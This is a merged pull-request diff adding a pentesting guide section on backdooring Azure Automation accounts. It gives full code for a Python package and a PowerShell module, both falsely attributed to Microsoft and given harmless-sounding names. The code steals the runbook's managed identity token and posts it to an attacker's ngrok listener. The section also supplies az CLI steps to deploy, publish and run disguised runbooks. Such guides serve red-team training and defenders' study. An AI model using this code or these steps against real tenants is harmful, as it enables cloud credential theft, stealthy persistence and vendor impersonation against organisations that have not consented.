Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -317,3 +317,287 @@ The scheduled task executes the payload, achieving SYSTEM-level privileges.
{{#include ../../../banners/hacktricks-training.md}}


### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`

#### Automation - Malicious Python Packages

Automation accounts support **custom Python packages** that extend the functionality of runbooks. These packages execute inside the runbook container with the **same identity and permissions** as the runbook itself (like a system managed identity).

Having the ability to write to the automation account's module store, you can **backdoor a package** and get **persistent code execution** every time a runbook imports that module.

Additionally, this same process can be done for **custom runtime environments** and reassign an existing runbook to it.

> [!TIP]
> This technique does not require modifying any existing runbook code. Once the malicious package is imported, **any runbook** that imports it will execute your payload automatically.

This command will disclose any python packages that exist:

```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \
--query "value[].{Name:name, Version:properties.version}" -o table
```

Create the setup to compile the python package:

```bash
cat > setup.py << 'EOF'
import setuptools

with open("README.md", "r") as fh:
long_description = fh.read()

setuptools.setup(
name="az_log_helper",
version="1.0.2",
author="Azure Utilities",
author_email="azutils@microsoft.com",
description="Helper utilities for Azure Log Analytics integration.",
long_description=long_description,
long_description_content_type="text/markdown",
packages=setuptools.find_packages(),
python_requires='>=3.8',
)
EOF
```

Create the `__init__.py` to import everything from az\_log\_helper and create the python script to **exfiltrate a managed identity token** to your listener:

```bash
mkdir -p az_log_helper
cat > az_log_helper/__init__.py << 'EOF'
from .az_log_helper import *
EOF

cat > az_log_helper/az_log_helper.py << 'EOF'
import os
import requests
import json

endpoint_url = "https://<YOUR-NGROK-URL>/"
identity_endpoint = os.getenv('IDENTITY_ENDPOINT')

if identity_endpoint:
params = {
'api-version': '2018-02-01',
'resource': 'https://management.azure.com/'
}
headers = {
'Metadata': 'true'
}

try:
response = requests.get(identity_endpoint, params=params, headers=headers)
response.raise_for_status()
token = response.json()
requests.post(endpoint_url,
headers={'Content-Type': 'application/json'},
data=json.dumps({'token': token}))
except requests.exceptions.RequestException:
pass
EOF
```

Build the python package so it can be uploaded to Azure:

```bash
pip install wheel --break-system-packages 2>/dev/null
python3 setup.py bdist_wheel
```

Provision a new runbook to execute the python package at runtime:

```bash
NEW_RUNBOOK_PY="check-ssl-expiry"

az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}?api-version=2023-11-01" \
--body "{
\"location\": \"centralus\",
\"properties\": {
\"runbookType\": \"Python3\",
\"description\": \"SSL certificate expiry checker\",
\"logProgress\": false,
\"logVerbose\": false
}
}"
```

Upload the file contents into the runbook to load the python package when it runs, and then publish the runbook:

```bash
cat > /tmp/py_runbook.py << 'EOF'
import az_log_helper
print("Log collection check complete.")
EOF

az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}/draft/content?api-version=2023-11-01" \
--headers "Content-Type=text/powershell" \
--body @/tmp/py_runbook.py
```

Publish the runbook:

```bash
az automation runbook publish \
--resource-group $RESOURCE_GROUP \
--automation-account-name $AUTOMATION_ACCOUNT \
--name $NEW_RUNBOOK_PY
```

Fire the runbook:

```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
--body "{
\"properties\": {
\"runbook\": { \"name\": \"${NEW_RUNBOOK_PY}\" }
}
}"
```

Once the runbook executes, the **managed identity token** is exfiltrated to your listener.

### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`

#### Automation - Malicious Modules

A minimal PowerShell module is just **two file types**: a `.psd1` manifest and a `.psm1` containing the code. The `.psd1` and `.psm1` filenames **must match the name of the `.zip`** exactly.

> [!TIP]
> This technique is the PowerShell equivalent of the Python package backdoor above. Custom modules are loaded at runtime with the **same privileges** as the runbook's managed identity.

The following command lists existing modules:

```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \
--query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table
```

Create the module manifest (`.psd1`):

```bash
cat > <MODULE_NAME>.psd1 << 'EOF'
@{
RootModule = '<MODULE_NAME>.psm1'
ModuleVersion = '2.1.0'
GUID = 'a3b2c1d4-e5f6-7890-abcd-ef1234567890'
Author = 'Microsoft Corporation'
CompanyName = 'Microsoft'
Copyright = '(c) Microsoft Corporation. All rights reserved.'
FunctionsToExport = @('Invoke-AzNetworkDiagnostic')
CmdletsToExport = @()
VariablesToExport = @()
AliasesToExport = @()
}
EOF
```

Create the module code (`.psm1`) with the **token exfiltration payload**:

```bash
cat > <MODULE_NAME>.psm1 << 'EOF'
function Invoke-AzNetworkDiagnostic {
$SuppressAzurePowerShellBreakingChangeWarnings = $true
Connect-AzAccount -Identity | Out-Null
$token = Get-AzAccessToken | ConvertTo-Json
Invoke-RestMethod -Uri "https://<YOUR-NGROK-URL>/" -Method Post -Body $token | Out-Null
}

Export-ModuleMember -Function Invoke-AzNetworkDiagnostic
EOF
```

Zip the module and upload it via the Azure portal. **The `.zip` name must match the `.psd1` and `.psm1` filenames exactly.**

```bash
zip <MODULE_NAME>.zip <MODULE_NAME>.psd1 <MODULE_NAME>.psm1
```

After uploading, verify the module is successfully imported:

```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/powershell72Modules/<MODULE_NAME>?api-version=2023-11-01" \
--query "properties.provisioningState"

# Expected output: "Succeeded"
```

Get the location of the automation account and create a new runbook that imports the malicious module:

```bash
LOCATION=$(az automation account show \
--resource-group $RESOURCE_GROUP \
--name $AUTOMATION_ACCOUNT \
--query location -o tsv)

NEW_RUNBOOK="diagnostics-health-check"

az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}?api-version=2023-11-01" \
--body "{
\"location\": \"${LOCATION}\",
\"properties\": {
\"runbookType\": \"PowerShell72\",
\"description\": \"Network diagnostics health check\",
\"logProgress\": false,
\"logVerbose\": false
}
}"
```

Upload runbook content that calls the backdoored module function:

```bash
cat > /tmp/ps_runbook.ps1 << 'EOF'
Import-Module <MODULE_NAME>
Invoke-AzNetworkDiagnostic
Write-Output "Diagnostics complete."
EOF

az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}/draft/content?api-version=2023-11-01" \
--headers "Content-Type=text/powershell" \
--body @/tmp/ps_runbook.ps1
```

Publish the runbook and fire a job:

```bash
az automation runbook publish \
--resource-group $RESOURCE_GROUP \
--automation-account-name $AUTOMATION_ACCOUNT \
--name $NEW_RUNBOOK

az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
--body "{
\"properties\": {
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
}
}"
```

Within a minute the **managed identity token** is exfiltrated to your listener.

For troubleshooting, obtain the job ID and check the job streams for errors:

```bash
# Get job ID from the job creation output, or list recent jobs
JOB_ID=$(az rest --method PUT \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
--body "{
\"properties\": {
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
}
}" --query "name" -o tsv)

# Check job output streams
az rest --method GET \
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01"
```